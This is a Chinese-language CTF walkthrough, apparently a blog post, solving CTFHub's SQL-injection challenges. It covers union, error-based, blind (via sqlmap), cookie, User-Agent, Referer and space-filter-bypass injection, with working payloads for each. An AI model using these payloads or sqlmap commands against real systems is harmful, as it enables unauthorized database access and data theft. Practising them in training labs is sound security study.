web-SQL注入-CTFHub
前言
在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。
作者更新了CTFHub系列,希望小伙伴们多多支持。
作者的CTFHub技能树汇总:
CTFHub技能树Web汇总-CSDN博客
关于sql注入,作者认为sqli-labs是一个很好的靶场。作者通关了该靶场,训练到了sql注入的大多数技巧。应对这些题型时就已经得心应手,推荐大家也做一下。
sqli_labs的题解:sqli-labs通关全详解-CSDN博客
sql注入的技术总结:SQL注入全详解_sql注入csdn-CSDN博客
整数型注入
首页
输个1,发现出数据了,一看URL,GET型整数注入,而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合
持续输入,id只到2,输入3就没返回值了
输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)
那就用联合注入,先看看有几个返回值,
1 union select 0,1#
逐见增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个值都显示)
接下来确定我们输入的值(即0和1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,就会一直输出1和ctfhub,得不到我们想要的信息)
-1 union select 0,1#
接下来就是常规步骤
-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#
这个flag表似乎是我们想要的
-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'flag'#
连字段名都是flag,那必然是它了
出了
-1 union select 0,group_concat(flag) from flag#
字符型注入
还是输个1,发现是字符型注入,用单引号闭合
确定回显
剩下的步骤和上题基本一样
报错注入
输个1,查询正确,没有回显位,不能用报错注入
输个1’,有报错,而且看起来不用闭合,用报错注入试试
这里我用了extractvalue()报错,floot()、updatexml()报错都是可以的
1 and extractvalue(1,concat(0x7e,(select database())))#
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))#
1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))#
发现flag不全
1 and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),30,32)))#
原来只差个}
布尔盲注
输个1
1‘,没啥有价值的信息,没有回显也没有报错
用sqlmap
我的sqlmap是安装在windows上的,在其目录下打开cmd,
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1
成功扫出注入漏洞(是时间盲注,不过无所谓,时间盲注和布尔盲注本质相近)
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 --current-db
查看当前数据库名
查看表名
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli –tables
查看字段名
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
查看用户数据
python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump
时间盲注
和布尔盲注一样,我们得不到什么有用的信息,用sqlmap
python sqlmap.py -u http://challenge-7ab8ccdca17dd471.sandbox.ctfhub.com:10800/?id=1
剩下的与上一题相同
MySQL结构
首页
输个1,出数据了,一看URL,GET型注入,可以直接从URL上输入,也可以直接在ID框里输入,
这个题而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合
持续输入,id只到2,输入3就没返回值了,所以只有两个id,1和2
输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)
那就用联合注入,先看看有数据库给我们返回了几个值,
1 union select 0#
1 union select 0,1#
逐次增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个返回的值都显示,这里很明显有两个回显位ID和Data)
接下来确定我们输入的值(即0,1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,比如1,就会一直输出1和ctfhub,得不到我们想要的信息,我们之前试过,id只有1和2,所以输入-1肯定是错的,这一步其实可以和前面一步合并,直接拿-1去测返回值个数)
-1 union select 0,1#
发现0对应ID,1对应Data。
接下来就是常规步骤,
在回显位上得到我们想要的信息,我选择在Data位上得到相关信息。
爆表名
-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#
这个bfapxsidjd似乎是我们想要的,先试试它
爆字段名
-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'bfapxsidjd'#
爆用户数据
-1 union select 0,group_concat(dijkatvoat) from bfapxsidjd#
Cookie注入
Cookie注入,抓包,发现hint
看着像url code,用在线URL 编码/解码翻译试试
翻译成:输个1试试?
和之前提示一样
放包,出数据了,用联合注入试试
cookie上加payload,注意别加错位置
经尝试,数字型注入,不需要闭合,有两个返回值
0 union select 1,2--+
0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'nsnlgmojmb'--+
0 union select 1,group_concat(zyrolpptir) from nsnlgmojmb--+
UA注入
把User-Agent处改为1
出现用户数据,那这里就和之前一样,直接注入就可
-1 union select 1,2
猜猜看返回数据是不是只有两个(发现根本不需要注释)
果然还是只有两个
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'narijgvpvg'
-1 union select 1,group_concat(vlmxnrnwsf) from narijgvpvg
Refer注入
Referer注入没有referer?
自己构造一个
referer: 1
Ok了,在这注入
referer: -1 union select 1,2
referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'kclnvpdoln'
referer: -1 union select 1,group_concat(lhdlppxexk) from kclnvpdoln
过滤空格
输个1,发现和之前的题一样,按题目来看,是把空格过滤了
针对这种情况,可以有很多方法,比如用其他符号替换、URL编码等,这里可以用/**/或者括号去替换空格
0/**/union/**/select/**/1,2
0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='notpyrplrk'
0/**/union/**/select/**/1,group_concat(bumpvvqaax)/**/from/**/notpyrplrk
综合训练 SQLI-LABS
实际上就是作者在文章开头说的那个靶场,推荐大家自己搭建一下,很简单而且可以节省金币。
具体搭建方法作者在自己文章里引用出来了。